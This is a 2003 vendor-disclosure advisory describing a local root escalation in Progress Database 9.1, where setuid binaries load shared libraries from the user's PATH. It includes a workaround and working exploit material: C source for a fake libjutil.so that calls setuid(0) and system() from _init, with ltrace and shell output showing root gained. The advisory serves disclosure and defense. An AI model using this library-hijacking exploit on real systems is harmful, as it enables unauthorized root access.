Secure Network Operations, Inc. http://www.secnetops.com Strategic Reconnaissance Team research@secnetops.com Team Lead Contact kf@secnetops.com Our Mission: ************************************************************************ Secure Network Operations offers expertise in Networking, Intrusion Detection Systems (IDS), Software Security Validation, and Corporate/Private Network Security. Our mission is to facilitate a secure and reliable Internet and inter-enterprise communications infrastructure through the products and services we offer. Quick Summary: ************************************************************************ Advisory Number : SRT2003-06-13-0945 Product : Progress Database Version : Versions 9.1 up to 9.1D06 Vendor : progress.com Class : local Criticality : High (to all Progress users) Operating System(s) : Linux, SunOS, SCO, TRU64, *nix High Level Explanation ************************************************************************ High Level Description : Poor usage of dlopen() causes local root compromise What to do : chmod -s /usr/dlc/bin/* Technical Details ************************************************************************ Proof Of Concept Status : SNO has exploits for the described situation Low Level Description : Progress applications make the use of several helper .dll and .so binaries. When looking for shared object files for use in a dlopen statement Progress choose to look in the users PATH. No verification is performed upon the object that is located thus local non super users can make themselves root. *Most* binaries in /usr/dlc/bin can be exploited via this method. [elguapo@rh8 elguapo]$ ls -al /usr/dlc/bin/_proapsv -rwsr-xr-x 1 root root 5258733 Nov 23 02:01 /usr/dlc/bin/_proapsv getenv("DLC") = NULL strcpy(0xbffff350, "libjutil.so") = 0xbffff350 memmove(0xbfffefc8, 0xbffff350, 12, 0x084a2a50, 0x084e1310) = 0xbfffefc8 access("libjutil.so", 4) = -1 __errno_location() = 0x4212a620 getenv("PATH") = "/usr/local/bin:/bin... strcat("/usr/local/bin", "/") = "/usr/local/bin/" strcat("/usr/local/bin/", "libjutil.so") = "/usr/local/bin/libjutil.so" access("/usr/local/bin/libjutil.so", 4) = -1 ... strcat("/home/elguapo/bin/", "libjutil.so") "/home/elguapo/bin/libjutil.so" access("/home/elguapo/bin/libjutil.so", 4) = 0 As you can see the library libjutil.so is searched for in the users PATH. Thanks to core@bokeoa.com for giving me an example shared library example ... it made exploiting this problem quite simple. #include #include // If you wanted to get creative you can hack out some fake functions for // use later ... but theres no need... just use _init int ehnLogOpen(int argc, char * const argv[], const char *optstring) { printf("This is a fake ehnLogOpen \n"); } int ehnLogClose(int argc, char * const argv[], const char *optstring) { printf("This is a fake ehnLogClose\n"); } _init() { setuid(0); setgid(0); printf("bullshit library loaded\n"); system("/usr/bin/id > /tmp/p00p"); system("cat /tmp/p00p"); } [elguapo@rh8 elguapo]$ /usr/dlc/bin/_proapsv This is a fake ehnLogOpen uid=0(root) gid=500(elguapo) groups=500(elguapo) +0001%ReadUBproperties failed: WebSpeed error 10007, System error 0, ServiceName cannot be NULL or blank (6275)#00This is a fake ehnLogClose uid=0(root) gid=500(elguapo) groups=500(elguapo) [elguapo@rh8 elguapo]$ /usr/bin/ltrace /usr/dlc/bin/_proapsv we can see it searches path and finds nothing ... getenv("PATH") = NULL dlopen("libjutil.so", 258) = NULL ... read(3, "Could not open Dynamic Library: "..., 81) = 81 malloc(51) = 0x084df718 dlerror() = "libjutil.so: cannot open shared "... lseek(3, 649134, 0) = 649134 read(3, "DLL Error : %s (8014)", 81) = 81 In the above example we just gave it a little help finding the .so The dlsym command will help you determine which fake functions you need to make the exploit work. getenv("PATH") = "/tmp" strcat("/tmp", "/") = "/tmp/" strcat("/tmp/", "libjutil.so") = "/tmp/libjutil.so" access("/tmp/libjutil.so", 4) = 0 dlopen("/tmp/libjutil.so", 258) = 0x084e1840 dlsym(0x084e1840, "ehnLogOpen") = 0x40013414 dlsym(0x084e1840, "ehnLogClose") = 0x4001345e dlsym(0x084e1840, "ehnLogWrite") = 0x400134a8 dlsym(0x084e1840, "ehnLogDump") = 0x400134f2 dlsym(0x084e1840, "ehnLogGetProperties") = 0x4001353c dlsym(0x084e1840, "ehnLogSetProperties") = 0x40013586 This is a fake ehnLogOpen uid=0(root) gid=500(elguapo) groups=500(elguapo) a valid work around to nearly any Progress security hole is to remove the suid bit from all binaries Vendor Status : Patch will be in version 10.x Bugtraq URL : to be assigned ------------------------------------------------------------------------ This advisory was released by Secure Network Operations,Inc. as a matter of notification to help administrators protect their networks against the described vulnerability. Exploit source code is no longer released in our advisories. Contact research@secnetops.com for information on how to obtain exploit information.